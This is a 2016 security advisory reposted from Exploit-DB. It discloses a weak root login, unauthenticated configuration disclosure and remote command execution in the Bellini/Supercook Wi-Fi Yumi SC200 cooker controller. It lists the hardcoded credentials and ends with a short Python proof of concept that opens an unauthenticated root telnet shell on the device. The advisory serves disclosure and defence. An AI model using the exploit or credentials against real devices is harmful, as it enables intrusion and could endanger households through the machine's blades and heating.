Bellini/Supercook Wi-Fi Yumi SC200 – Multiple Vulnerabilities

  • 作者: James McLean
    日期: 2016-07-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40160/
  • '''
    Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities
    
    Reported By:
    ==================================
    James McLean -
     Primary: james dot mclean at gmail dot com
     Secondary: labs at juicedigital dot net
    
    Device Overview:
    ==================================
    From http://www.supercook.me/en/supercook/articles/btmkm800x/
    
    "The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional
    kitchen machine. It has 13 functions so not only saves a huge amount of
    time, it also incorporates the Yumi control module and its own recipe
    collection, making it incredibly easy to use."
    
    Vulnerability Overview:
    ==================================
     Vuln1) Weak Username/Password for 'root' account.
     Vuln2) Information disclosure, unauthenticated.
     Vuln3) Remote arbitrary code execution.
    
    CVE ID's
    ==================================
    None assigned as yet.
    
    Disclosure Timeline
    ==================================
    2016-06-01: Vulnerability assessment commenced.
    2016-07-04: Contacted Supercook.me support via Web Contact. No response.
    2016-07-12: Contacted Supercook.me support via Web Contact. No response.
    2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved.
    2016-07-19: Contacted Supercook Australia via Facebook. No response.
    2016-07-21: Posted security assessment to vortex.id.au.
    2016-07-22: Mitre contacted, CVE ID's requested.
    
    It is with regret, but ultimately due to my concern for the community
    that own these devices, that due to lack of communication I am disclosing
    these vulnerabilities without the involvment of the vendor. I sincerely hope
    that the vendor can resolve these issues in a timely manner.
    
    I intend no malice by releasing these vulnerabilities, and only wish to
    inform the community so appropriate steps may be taken by the owners of
    these devices.
    
    Due to the nature of the firmware on the device, these issues are not likely
    caused by the vendor themselves.
    
    Please do not use the information presented here for evil.
    
    Affected Platforms:
    ==================================
    Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3.
    Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as
    same firmware is used.
    
    As the Wi-fi Yumi firmware appears to be based on a stock firmware image
    used on a number of other commodity 'IoT' devices, the vulnerabilities
    described here are very likely to affect other devices with similar or
    the same firmware.
    
    --
    
    Vuln1 Details:
    ==================================
    Weak Username/Password for Root-level account.
    Username: super
    Password: super
    
    These credentials provide access to the built in FTP server and web
    administration interface. We did not attempt any more than a cursory
    connection to the FTP server with these details.
    
    According to the details disclosed in Vuln2, an additional account is present
    on the device with the following credentials:
    Username: admin
    Password: AlpheusDigital1010
    
    With the exception of a cursory check of the built in FTP service (which
    failed for these credentials), we did not attempt to access the device with
    these credentials.
    
    Vuln1 Notes:
    ==================================
    We did not attempt to change or ascertain if it was possible to change these
    access credentials; as Vuln2 completely negates any change made.
    
    Vuln1 Mitigation:
    ==================================
    Isolate the Supercook Wi-fi Yumi from any other Wireless network.
    Revert to the non-wifi Yumi controller.
    
    --
    
    Vuln2 Details:
    ==================================
    Information disclosure, unauthenticated.
    
    Device URL: http://10.10.1.1/Setting.chipsipcmd
    
    The device offers, via its built in webserver, a full list of all configuration
    parameters available. This list includes the above mentioned root account
    username and password, and the password to the parent connected wifi network.
    All details are in plain text, and transmitted in the format of a key-value
    pair making retrieval, recovery and use of all configuration
    information trivial.
    
    This interface is also available from the parent wi-fi network via DHCP assigned
    IPv4 address.
    
    Vuln2 Notes:
    ==================================
    Example data returned:
    DEF_IP_ADDR=10.10.1.1
    DEF_SUBNET_MASK=255.255.255.0
    ...
    DEF_SUPER_NAME="super"
    DEF_SUPER_PASSWORD="super"
    DEF_USER_NAME="admin"
    DEF_USER_PASSWORD="AlpheusDigital1010"
    ...
    
    Vuln2 Mitigation:
    ==================================
    Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using
    the mobile application to upload recipes, then disconnect from the device and
    connect your mobile device to a trusted network once again to access the
    internet once again.
    
    Revert to the non-wifi Yumi controller.
    
    The vendor should establish a method of authentication to the device from the
    various mobile applications available, and transport any configuration in an
    encrypted format using keys which are not generally available or easily
    discoverable.
    
    --
    
    Vuln3 Details:
    ==================================
    Remote arbitrary code execution.
    
    Device URL: http://10.10.1.1/syscmd.asp
    
    The device offers a built-in web-shell which, once authenticated using the
    details discovered in Vuln2, allows the execution of any command the device
    can execute - as the built in webserver runs as the root user.
    
    It is possible to execute a command using this interface that would create
    any file in any location. This would allow an attacker to establish persistence.
    
    Additionally, the built in busybox binary includes the option
    'telnetd', meaning it is
    possible to execute the relevant command to start a telnet daemon remotely.
    The running daemon then requires no authentication to connect, and runs as
    the root account.
    
    Vuln3 Mitigation:
    ==================================
    Isolate the Supercook Wi-fi Yumi from any other Wireless network.
    
    Revert to the non-wifi Yumi controller.
    
    Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please
    mind your warranty if you modify the files on the device).
    
    The vendor should disable any and all commands on the device and scripts in
    the web interface which are not specifically required for the normal
    functionality of the device or its communication with control apps.
    
    In this instance, the vendor should REMOVE the page '/syscmd.asp' and also
    /goform/formSysCmd which processes commands submitted via syscmd.asp to prevent
    arbitrary commands from being executed.
    
    Additionally, busybox should be recompiled such that the 'telnetd' option is
    no longer available to be executed.
    
    --
    
    Vuln1/Vuln2/Vuln3 Risks:
    ==================================
    Weak and easily discoverable root credentials combined with easily accessed
    remote shell functionality is a dangerous combination. These vulnerabilities
    could allow any sufficiently advanced malware to become persistent in a LAN
    and re-infect hosts at will (advanced crypto-locker style malware comes to
    mind), capture and exfiltrate data on either Wireless network the device is
    connected to, MITM any traffic routed through the device, or other as yet
    unknown attack vectors.
    
    Additionally, as full root access is easily obtainable, it may be possible
    for an attacker to cause the cooking functionality to behave erratically or
    possibly even dangerously due to the built in spinning blades and heating
    elements. While we ultimately did not attempt to control these aspects of the
    device due to the fact that it makes our dinner most nights, these risks are
    worth raising.
    
    This vulnerability assessment should not be considered an exhaustive list
    of all vunlnerabilities the device may have. Due to time constraints we were
    unable to invest the required time to discover and document all issues. Due to
    the nature of the firmware on the device, most of these have likely been
    discovered in other products at various times, this item may even duplicate
    another from a similar device.
    
    Notes:
    ==================================
    No security assessment of code used for control of cooker functionality was
    undertaken; as this does not, in my opinion, rate as seriously as the other
    vulnerabilities discovered and disclosed here. However, it should be noted,
    that with the root access that is VERY easily obtained, it may be possible for
    an attacker to cause the cooking functionality of the machine to behave
    erratically or even dangerously due to the built in spinning blades and heating
    elements. Further to this, a malicious partner or offspring may intentionally
    sabotage dinner, if he/she would prefer to eat takeout.
    
    No attempt was made to connect to or manipulate files on the built in Samba
    shares, however given the weak credentials sufficiently advanced malware may be
    able to use these shares to establish persistence.
    
    The 'Bellini' name may be regional, our device was procured in Australia and
    as such may or may not have a different name in other countries.
    
    A full, detailed, rundown and commentary is available at
    https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/
    
    Vuln3 Proof of Concept:
    ==================================
    '''
    
    #!/usr/bin/env python
    
    import urllib
    import urllib2
    from subprocess import call
    
    # Connect to the device's wifi network, then run.
    # Root access will be provided.
    
    url = 'http://10.10.1.1/goform/formSysCmd'
    cmd = 'busybox telnetd -l /bin/sh'
    username = 'super'
    password = 'super'
    
    # setup the password handler
    basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm()
    basicauth.add_password(None, url, username, password)
    
    authhandler = urllib2.HTTPBasicAuthHandler(basicauth)
    opener = urllib2.build_opener(authhandler)
    
    urllib2.install_opener(opener)
    
    # Connect to the device, send the data
    values = {
    'sysCmd': cmd,
    'apply': 'Apply',
    'submit-url': '/syscmd.asp'
    }
    data = urllib.urlencode(values)
    pagehandle = urllib2.urlopen(url, data)
    
    # Connect to Telnet.
    call(["telnet","10.10.1.1"])
    
    # Pwnd.
    
    # End of document.